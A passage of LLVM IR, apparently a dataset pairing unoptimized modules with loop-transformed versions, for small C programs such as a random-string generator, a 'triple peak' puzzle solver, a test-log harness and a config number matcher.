%63 = call i32 @printf(ptr noundef @.str.3)
br label %64
64: ; preds = %62, %60
%65 = call i32 @system(ptr noundef @.str.4)
%66 = load i32, ptr %1, align 4
ret i32 %66
}
declare i32 @printf(ptr noundef) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @system(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmp03l8glek.c'
source_filename = "/tmp/tmp03l8glek.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@rand_str.text = internal constant [53 x i8] c"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\00", align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @rand_str(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%7 = call i32 (...) @entropy_clock()
%8 = call i32 (...) @random()
%9 = load i32, ptr %4, align 4
%10 = sub nsw i32 %9, 1
%11 = srem i32 %8, %10
store i32 %11, ptr %6, align 4
%12 = load i32, ptr %6, align 4
%13 = icmp ne i32 %12, 0
br i1 %13, label %15, label %14
14: ; preds = %2
store i32 8, ptr %6, align 4
br label %15
15: ; preds = %14, %2
store i32 0, ptr %5, align 4
br label %16
16: ; preds = %30, %15
%17 = load i32, ptr %5, align 4
%18 = load i32, ptr %6, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %20, label %33
20: ; preds = %16
%21 = call i32 (...) @random()
%22 = sext i32 %21 to i64
%23 = urem i64 %22, 52
%24 = getelementptr inbounds [53 x i8], ptr @rand_str.text, i64 0, i64 %23
%25 = load i8, ptr %24, align 1
%26 = load ptr, ptr %3, align 8
%27 = load i32, ptr %5, align 4
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds i8, ptr %26, i64 %28
store i8 %25, ptr %29, align 1
br label %30
30: ; preds = %20
%31 = load i32, ptr %5, align 4
%32 = add nsw i32 %31, 1
store i32 %32, ptr %5, align 4
br label %16, !llvm.loop !6
33: ; preds = %16
%34 = load ptr, ptr %3, align 8
%35 = load i32, ptr %5, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds i8, ptr %34, i64 %36
store i8 0, ptr %37, align 1
%38 = call i32 (...) @entropy_clock()
%39 = load ptr, ptr %3, align 8
ret ptr %39
}
declare i32 @entropy_clock(...) #1
declare i32 @random(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp03l8glek.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@rand_str.text = internal constant [53 x i8] c"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\00", align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @rand_str(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%7 = call i32 (...) @entropy_clock()
%8 = call i32 (...) @random()
%9 = load i32, ptr %4, align 4
%10 = sub nsw i32 %9, 1
%11 = srem i32 %8, %10
store i32 %11, ptr %6, align 4
%12 = load i32, ptr %6, align 4
%13 = icmp ne i32 %12, 0
br i1 %13, label %15, label %14
14: ; preds = %2
store i32 8, ptr %6, align 4
br label %15
15: ; preds = %14, %2
store i32 0, ptr %5, align 4
%16 = load i32, ptr %5, align 4
%17 = load i32, ptr %6, align 4
%18 = icmp slt i32 %16, %17
br i1 %18, label %.lr.ph, label %35
.lr.ph: ; preds = %15
br label %19
19: ; preds = %.lr.ph, %29
%20 = call i32 (...) @random()
%21 = sext i32 %20 to i64
%22 = urem i64 %21, 52
%23 = getelementptr inbounds [53 x i8], ptr @rand_str.text, i64 0, i64 %22
%24 = load i8, ptr %23, align 1
%25 = load ptr, ptr %3, align 8
%26 = load i32, ptr %5, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds i8, ptr %25, i64 %27
store i8 %24, ptr %28, align 1
br label %29
29: ; preds = %19
%30 = load i32, ptr %5, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %5, align 4
%32 = load i32, ptr %5, align 4
%33 = load i32, ptr %6, align 4
%34 = icmp slt i32 %32, %33
br i1 %34, label %19, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %29
br label %35
35: ; preds = %._crit_edge, %15
%36 = load ptr, ptr %3, align 8
%37 = load i32, ptr %5, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i8, ptr %36, i64 %38
store i8 0, ptr %39, align 1
%40 = call i32 (...) @entropy_clock()
%41 = load ptr, ptr %3, align 8
ret ptr %41
}
declare i32 @entropy_clock(...) #1
declare i32 @random(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp5oef8ai7.c'
source_filename = "/tmp/tmp5oef8ai7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = call i32 (...) @LibFunction()
ret i32 0
}
declare i32 @LibFunction(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp5oef8ai7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = call i32 (...) @LibFunction()
ret i32 0
}
declare i32 @LibFunction(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp11k4ycue.c'
source_filename = "/tmp/tmp11k4ycue.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [9 x i8] c"%d%d%d%d\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"Case %d\00", align 1
@.str.2 = private unnamed_addr constant [43 x i8] c": the next triple peak occurs in %d days.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i32 1, ptr %6, align 4
%7 = call i32 @scanf(ptr noundef @.str, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4)
br label %8
8: ; preds = %69, %0
%9 = load i32, ptr %1, align 4
%10 = icmp ne i32 %9, -1
br i1 %10, label %11, label %20
11: ; preds = %8
%12 = load i32, ptr %2, align 4
%13 = icmp ne i32 %12, -1
br i1 %13, label %14, label %20
14: ; preds = %11
%15 = load i32, ptr %3, align 4
%16 = icmp ne i32 %15, -1
br i1 %16, label %17, label %20
17: ; preds = %14
%18 = load i32, ptr %4, align 4
%19 = icmp ne i32 %18, -1
br label %20
20: ; preds = %17, %14, %11, %8
%21 = phi i1 [ false, %14 ], [ false, %11 ], [ false, %8 ], [ %19, %17 ]
br i1 %21, label %22, label %79
22: ; preds = %20
%23 = load i32, ptr %4, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %5, align 4
br label %25
25: ; preds = %36, %22
%26 = load i32, ptr %5, align 4
%27 = icmp slt i32 %26, 21252
br i1 %27, label %28, label %39
28: ; preds = %25
%29 = load i32, ptr %5, align 4
%30 = load i32, ptr %1, align 4
%31 = sub nsw i32 %29, %30
%32 = srem i32 %31, 23
%33 = icmp eq i32 %32, 0
br i1 %33, label %34, label %35
34: ; preds = %28
br label %39
35: ; preds = %28
br label %36
36: ; preds = %35
%37 = load i32, ptr %5, align 4
%38 = add nsw i32 %37, 1
store i32 %38, ptr %5, align 4
br label %25, !llvm.loop !6
39: ; preds = %34, %25
br label %40
40: ; preds = %51, %39
%41 = load i32, ptr %5, align 4
%42 = icmp slt i32 %41, 21252
br i1 %42, label %43, label %54
43: ; preds = %40
%44 = load i32, ptr %5, align 4
%45 = load i32, ptr %2, align 4
%46 = sub nsw i32 %44, %45
%47 = srem i32 %46, 28
%48 = icmp eq i32 %47, 0
br i1 %48, label %49, label %50
49: ; preds = %43
br label %54
50: ; preds = %43
br label %51
51: ; preds = %50
%52 = load i32, ptr %5, align 4
%53 = add nsw i32 %52, 23
store i32 %53, ptr %5, align 4
br label %40, !llvm.loop !8
54: ; preds = %49, %40
br label %55
55: ; preds = %66, %54
%56 = load i32, ptr %5, align 4
%57 = icmp slt i32 %56, 21252
br i1 %57, label %58, label %69
58: ; preds = %55
%59 = load i32, ptr %5, align 4
%60 = load i32, ptr %3, align 4
%61 = sub nsw i32 %59, %60
%62 = srem i32 %61, 33
%63 = icmp eq i32 %62, 0
br i1 %63, label %64, label %65
64: ; preds = %58
br label %69
65: ; preds = %58
br label %66
66: ; preds = %65
%67 = load i32, ptr %5, align 4
%68 = add nsw i32 %67, 644
store i32 %68, ptr %5, align 4
br label %55, !llvm.loop !9
69: ; preds = %64, %55
%70 = load i32, ptr %6, align 4
%71 = call i32 @printf(ptr noundef @.str.1, i32 noundef %70)
%72 = load i32, ptr %5, align 4
%73 = load i32, ptr %4, align 4
%74 = sub nsw i32 %72, %73
%75 = call i32 @printf(ptr noundef @.str.2, i32 noundef %74)
%76 = call i32 @scanf(ptr noundef @.str, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4)
%77 = load i32, ptr %6, align 4
%78 = add nsw i32 %77, 1
store i32 %78, ptr %6, align 4
br label %8, !llvm.loop !10
79: ; preds = %20
ret void
}
declare i32 @scanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp11k4ycue.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [9 x i8] c"%d%d%d%d\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"Case %d\00", align 1
@.str.2 = private unnamed_addr constant [43 x i8] c": the next triple peak occurs in %d days.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i32 1, ptr %6, align 4
%7 = call i32 @scanf(ptr noundef @.str, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4)
br label %8
8: ; preds = %72, %0
%9 = load i32, ptr %1, align 4
%10 = icmp ne i32 %9, -1
br i1 %10, label %11, label %20
11: ; preds = %8
%12 = load i32, ptr %2, align 4
%13 = icmp ne i32 %12, -1
br i1 %13, label %14, label %20
14: ; preds = %11
%15 = load i32, ptr %3, align 4
%16 = icmp ne i32 %15, -1
br i1 %16, label %17, label %20
17: ; preds = %14
%18 = load i32, ptr %4, align 4
%19 = icmp ne i32 %18, -1
br label %20
20: ; preds = %17, %14, %11, %8
%21 = phi i1 [ false, %14 ], [ false, %11 ], [ false, %8 ], [ %19, %17 ]
br i1 %21, label %22, label %82
22: ; preds = %20
%23 = load i32, ptr %4, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %5, align 4
%25 = load i32, ptr %5, align 4
%26 = icmp slt i32 %25, 21252
br i1 %26, label %.lr.ph, label %.loopexit2
.lr.ph: ; preds = %22
br label %27
27: ; preds = %.lr.ph, %35
%28 = load i32, ptr %5, align 4
%29 = load i32, ptr %1, align 4
%30 = sub nsw i32 %28, %29
%31 = srem i32 %30, 23
%32 = icmp eq i32 %31, 0
br i1 %32, label %33, label %34
33: ; preds = %27
br label %40
34: ; preds = %27
br label %35
35: ; preds = %34
%36 = load i32, ptr %5, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %5, align 4
%38 = load i32, ptr %5, align 4
%39 = icmp slt i32 %38, 21252
br i1 %39, label %27, label %..loopexit2_crit_edge, !llvm.loop !6
..loopexit2_crit_edge: ; preds = %35
br label %.loopexit2
.loopexit2: ; preds = %..loopexit2_crit_edge, %22
br label %40
40: ; preds = %.loopexit2, %33
%41 = load i32, ptr %5, align 4
%42 = icmp slt i32 %41, 21252
br i1 %42, label %.lr.ph3, label %.loopexit1
.lr.ph3: ; preds = %40
br label %43
43: ; preds = %.lr.ph3, %51
%44 = load i32, ptr %5, align 4
%45 = load i32, ptr %2, align 4
%46 = sub nsw i32 %44, %45
%47 = srem i32 %46, 28
%48 = icmp eq i32 %47, 0
br i1 %48, label %49, label %50
49: ; preds = %43
br label %56
50: ; preds = %43
br label %51
51: ; preds = %50
%52 = load i32, ptr %5, align 4
%53 = add nsw i32 %52, 23
store i32 %53, ptr %5, align 4
%54 = load i32, ptr %5, align 4
%55 = icmp slt i32 %54, 21252
br i1 %55, label %43, label %..loopexit1_crit_edge, !llvm.loop !8
..loopexit1_crit_edge: ; preds = %51
br label %.loopexit1
.loopexit1: ; preds = %..loopexit1_crit_edge, %40
br label %56
56: ; preds = %.loopexit1, %49
%57 = load i32, ptr %5, align 4
%58 = icmp slt i32 %57, 21252
br i1 %58, label %.lr.ph4, label %.loopexit
.lr.ph4: ; preds = %56
br label %59
59: ; preds = %.lr.ph4, %67
%60 = load i32, ptr %5, align 4
%61 = load i32, ptr %3, align 4
%62 = sub nsw i32 %60, %61
%63 = srem i32 %62, 33
%64 = icmp eq i32 %63, 0
br i1 %64, label %65, label %66
65: ; preds = %59
br label %72
66: ; preds = %59
br label %67
67: ; preds = %66
%68 = load i32, ptr %5, align 4
%69 = add nsw i32 %68, 644
store i32 %69, ptr %5, align 4
%70 = load i32, ptr %5, align 4
%71 = icmp slt i32 %70, 21252
br i1 %71, label %59, label %..loopexit_crit_edge, !llvm.loop !9
..loopexit_crit_edge: ; preds = %67
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %56
br label %72
72: ; preds = %.loopexit, %65
%73 = load i32, ptr %6, align 4
%74 = call i32 @printf(ptr noundef @.str.1, i32 noundef %73)
%75 = load i32, ptr %5, align 4
%76 = load i32, ptr %4, align 4
%77 = sub nsw i32 %75, %76
%78 = call i32 @printf(ptr noundef @.str.2, i32 noundef %77)
%79 = call i32 @scanf(ptr noundef @.str, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4)
%80 = load i32, ptr %6, align 4
%81 = add nsw i32 %80, 1
store i32 %81, ptr %6, align 4
br label %8, !llvm.loop !10
82: ; preds = %20
ret void
}
declare i32 @scanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
|
; ModuleID = '/tmp/tmpamt5zntk.c'
source_filename = "/tmp/tmpamt5zntk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [14 x i8] c"AutoTests.log\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.2 = private unnamed_addr constant [40 x i8] c"Open AutoTests.log for written failed.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
store i32 0, ptr %1, align 4
%3 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1)
store ptr %3, ptr %2, align 8
%4 = icmp ne ptr %3, null
br i1 %4, label %9, label %5
5: ; preds = %0
%6 = load i32, ptr @stderr, align 4
%7 = call i32 @fprintf(i32 noundef %6, ptr noundef @.str.2)
%8 = call i32 @exit(i32 noundef -1) #3
unreachable
9: ; preds = %0
%10 = load ptr, ptr %2, align 8
%11 = call i32 @TestBitArray(ptr noundef %10)
%12 = load ptr, ptr %2, align 8
%13 = call i32 @TestCharSet(ptr noundef %12)
%14 = load ptr, ptr %2, align 8
%15 = call i32 @fclose(ptr noundef %14)
ret i32 0
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @TestBitArray(ptr noundef) #1
declare i32 @TestCharSet(ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpamt5zntk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [14 x i8] c"AutoTests.log\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.2 = private unnamed_addr constant [40 x i8] c"Open AutoTests.log for written failed.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
store i32 0, ptr %1, align 4
%3 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1)
store ptr %3, ptr %2, align 8
%4 = icmp ne ptr %3, null
br i1 %4, label %9, label %5
5: ; preds = %0
%6 = load i32, ptr @stderr, align 4
%7 = call i32 @fprintf(i32 noundef %6, ptr noundef @.str.2)
%8 = call i32 @exit(i32 noundef -1) #3
unreachable
9: ; preds = %0
%10 = load ptr, ptr %2, align 8
%11 = call i32 @TestBitArray(ptr noundef %10)
%12 = load ptr, ptr %2, align 8
%13 = call i32 @TestCharSet(ptr noundef %12)
%14 = load ptr, ptr %2, align 8
%15 = call i32 @fclose(ptr noundef %14)
ret i32 0
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @TestBitArray(ptr noundef) #1
declare i32 @TestCharSet(ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplwnsz2no.c'
source_filename = "/tmp/tmplwnsz2no.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [9 x i8] c"%d,%d:%d\00", align 1
@.str.1 = private unnamed_addr constant [58 x i8] c"conf_match_num: section %s tag %s: invalid number spec %s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @conf_match_num(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
%13 = load ptr, ptr %5, align 8
%14 = load ptr, ptr %6, align 8
%15 = call ptr @conf_get_str(ptr noundef %13, ptr noundef %14)
store ptr %15, ptr %8, align 8
%16 = load ptr, ptr %8, align 8
%17 = icmp ne ptr %16, null
br i1 %17, label %19, label %18
18: ; preds = %3
store i32 0, ptr %4, align 4
br label %45
19: ; preds = %3
%20 = load ptr, ptr %8, align 8
%21 = call i32 @sscanf(ptr noundef %20, ptr noundef @.str, ptr noundef %9, ptr noundef %10, ptr noundef %11)
store i32 %21, ptr %12, align 4
%22 = load i32, ptr %12, align 4
switch i32 %22, label %39 [
i32 1, label %23
i32 3, label %28
]
23: ; preds = %19
%24 = load i32, ptr %7, align 4
%25 = load i32, ptr %9, align 4
%26 = icmp eq i32 %24, %25
%27 = zext i1 %26 to i32
store i32 %27, ptr %4, align 4
br label %45
28: ; preds = %19
%29 = load i32, ptr %10, align 4
%30 = load i32, ptr %7, align 4
%31 = icmp sle i32 %29, %30
br i1 %31, label %32, label %36
32: ; preds = %28
%33 = load i32, ptr %11, align 4
%34 = load i32, ptr %7, align 4
%35 = icmp sge i32 %33, %34
br label %36
36: ; preds = %32, %28
%37 = phi i1 [ false, %28 ], [ %35, %32 ]
%38 = zext i1 %37 to i32
store i32 %38, ptr %4, align 4
br label %45
39: ; preds = %19
